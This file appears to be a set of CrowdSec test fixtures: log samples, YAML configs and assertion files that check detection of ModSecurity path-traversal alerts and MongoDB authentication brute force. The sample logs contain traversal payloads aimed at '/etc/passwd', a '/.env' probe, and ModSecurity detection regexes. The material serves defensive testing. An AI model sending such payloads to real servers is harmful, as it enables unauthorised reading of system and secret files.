results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010524 2021" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Meta["rule_id"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][8].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][9].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010641 2021" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["modsecmessage"] == "Operator GE matched 5 at TX:inbound_anomaly_score." results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010641 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file \"/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf\"] [line \"91\"] [id \"980130\"] [msg \"Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"event-correlation\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["ruleline"] == "91" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["ruletag0"] == "event-correlation" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Parsed["ruleid"] == "980130" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Meta["rule_id"] == "980130" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][9].Evt.Meta["datasource_path"] == "modsecurity-logs.log" hub1/.tests/modsecurity-logs/scenario.assert000066400000000000000000000000001437532772500215010ustar00rootroot00000000000000hub1/.tests/modsecurity-nginx/000077500000000000000000000000001437532772500166445ustar00rootroot00000000000000hub1/.tests/modsecurity-nginx/config.yaml000066400000000000000000000004221437532772500207730ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/modsecurity.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/modsecurity.yaml postoverflows: - "" log_file: modsecurity-nginx.log log_type: modsecurity ignore_parsers: true hub1/.tests/modsecurity-nginx/modsecurity-nginx.log000066400000000000000000000033761437532772500230500ustar00rootroot000000000000002021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev ""] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref "o8,4o14,4o20,4o26,4v4,40"], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/12/09 14:43:51 [info] 2410567#2410567: *525652 ModSecurity: Warning. Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `8' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "79"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [data ""] [severity "2"] [ver ""] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "10.0.4.41"] [uri "/.env"] [unique_id "163906103184.010102"] [ref ""], client: 143.198.55.184, server: _, request: "GET /.env HTTP/1.1", host: "34.238.111.71" hub1/.tests/modsecurity-nginx/parser.assert000066400000000000000000000000001437532772500213510ustar00rootroot00000000000000hub1/.tests/modsecurity-nginx/scenario.assert000066400000000000000000000041021437532772500216670ustar00rootroot00000000000000len(results) == 2 "82.64.145.141" in results[0].Overflow.GetSources() results[0].Overflow.Sources["82.64.145.141"].IP == "82.64.145.141" results[0].Overflow.Sources["82.64.145.141"].Range == "" results[0].Overflow.Sources["82.64.145.141"].GetScope() == "Ip" results[0].Overflow.Sources["82.64.145.141"].GetValue() == "82.64.145.141" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "modsecurity-nginx.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "modsecurity" results[0].Overflow.Alert.Events[0].GetMeta("modsec_message") == "Path Traversal Attack (/../)" results[0].Overflow.Alert.Events[0].GetMeta("modsec_ruledata") == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd" results[0].Overflow.Alert.Events[0].GetMeta("rule_id") == "930100" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "82.64.145.141" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/modsecurity" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "143.198.55.184" in results[1].Overflow.GetSources() results[1].Overflow.Sources["143.198.55.184"].IP == "143.198.55.184" results[1].Overflow.Sources["143.198.55.184"].Range == "" results[1].Overflow.Sources["143.198.55.184"].GetScope() == "Ip" results[1].Overflow.Sources["143.198.55.184"].GetValue() == "143.198.55.184" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "modsecurity-nginx.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "modsecurity" results[1].Overflow.Alert.Events[0].GetMeta("modsec_message") == "Inbound Anomaly Score Exceeded (Total Score: 8)" results[1].Overflow.Alert.Events[0].GetMeta("rule_id") == "949110" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "143.198.55.184" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/modsecurity" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/modsecurity/000077500000000000000000000000001437532772500155235ustar00rootroot00000000000000hub1/.tests/modsecurity/config.yaml000066400000000000000000000003421437532772500176530ustar00rootroot00000000000000parsers: - crowdsecurity/modsecurity - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/modsecurity postoverflows: - "" log_file: modsecurity.log log_type: modsecurity ignore_parsers: true hub1/.tests/modsecurity/modsecurity.log000066400000000000000000000161061437532772500206010ustar00rootroot00000000000000[Thu Sep 30 13:27:06.009964 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010022 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010056 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010075 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010092 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010106 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010136 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010193 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010524 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010641 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.0"] [tag "event-correlation"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] hub1/.tests/modsecurity/parser.assert000066400000000000000000000000001437532772500202300ustar00rootroot00000000000000hub1/.tests/modsecurity/scenario.assert000066400000000000000000000014261437532772500205540ustar00rootroot00000000000000len(results) == 1 "::1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["::1"].IP == "::1" results[0].Overflow.Sources["::1"].Range == "" results[0].Overflow.Sources["::1"].GetScope() == "Ip" results[0].Overflow.Sources["::1"].GetValue() == "::1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "modsecurity.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "modsecurity" results[0].Overflow.Alert.Events[0].GetMeta("rule_id") == "930100" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/modsecurity" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1hub1/.tests/mongodb-bf/000077500000000000000000000000001437532772500151665ustar00rootroot00000000000000hub1/.tests/mongodb-bf/config.yaml000066400000000000000000000004451437532772500173220ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/timokoessler/mongodb-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/timokoessler/mongodb-bf.yaml postoverflows: - "" log_file: mongodb-bf.log log_type: mongodb labels: {} ignore_parsers: true override_statics: [] hub1/.tests/mongodb-bf/mongodb-bf.log000066400000000000000000000104151437532772500177040ustar00rootroot00000000000000{"t":{"$date":"2022-07-28T18:00:00.903+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4071","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:00:02.125+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn2","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4014","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:00:05.826+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4025","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:00:07.437+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4026","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:00:11.791+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn3","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4081","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T18:00:14.278+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"127.0.0.1:4098","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:12.278+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"admin","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:16.428+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"local","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:24.532+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"test","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:36.158+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"demo","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:44.286+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"root","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}} {"t":{"$date":"2022-07-28T19:05:50.397+02:00"},"s":"I", "c":"ACCESS", "id":20249, "ctx":"conn1","msg":"Authentication failed","attr":{"mechanism":"SCRAM-SHA-256","speculative":false,"principalName":"root","authenticationDatabase":"hidden","remote":"[::1]:4125","extraInfo":{},"error":"AuthenticationFailed: SCRAM authentication failed, storedKey mismatch"}}hub1/.tests/mongodb-bf/parser.assert000066400000000000000000000000001437532772500176730ustar00rootroot00000000000000hub1/.tests/mongodb-bf/scenario.assert000066400000000000000000000200761437532772500202210ustar00rootroot00000000000000len(results) == 2 "::1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["::1"].IP == "::1" results[0].Overflow.Sources["::1"].Range == "" results[0].Overflow.Sources["::1"].GetScope() == "Ip" results[0].Overflow.Sources["::1"].GetValue() == "::1" results[0].Overflow.Alert.Events[0].GetMeta("authentication_database") == "admin" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-28T19:05:12.278+02:00" results[0].Overflow.Alert.Events[0].GetMeta("username") == "root" results[0].Overflow.Alert.Events[1].GetMeta("authentication_database") == "local" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-28T19:05:16.428+02:00" results[0].Overflow.Alert.Events[1].GetMeta("username") == "root" results[0].Overflow.Alert.Events[2].GetMeta("authentication_database") == "test" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-28T19:05:24.532+02:00" results[0].Overflow.Alert.Events[2].GetMeta("username") == "root" results[0].Overflow.Alert.Events[3].GetMeta("authentication_database") == "demo" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-28T19:05:36.158+02:00" results[0].Overflow.Alert.Events[3].GetMeta("username") == "root" results[0].Overflow.Alert.Events[4].GetMeta("authentication_database") == "root" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-28T19:05:44.286+02:00" results[0].Overflow.Alert.Events[4].GetMeta("username") == "root" results[0].Overflow.Alert.Events[5].GetMeta("authentication_database") == "hidden" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "mongodb-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "mongodb_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "mongodb" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "::1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-28T19:05:50.397+02:00" results[0].Overflow.Alert.Events[5].GetMeta("username") == "root" results[0].Overflow.Alert.GetScenario() == "timokoessler/mongodb-bf_auth-db-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "127.0.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[1].Overflow.Sources["127.0.0.1"].Range == "" results[1].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "mongodb-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-28T18:00:00.903+02:00" results[1].Overflow.Alert.Events[0].GetMeta("username") == "root" results[1].Overflow.Alert.Events[1].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "mongodb-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "mongodb_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "mongodb" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-28T18:00:02.125+02:00" results[1].Overflow.Alert.Events[1].GetMeta("username") == "root" results[1].Overflow.Alert.Events[2].GetMeta("authentication_database") == "admin" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "mongodb-bf.log" 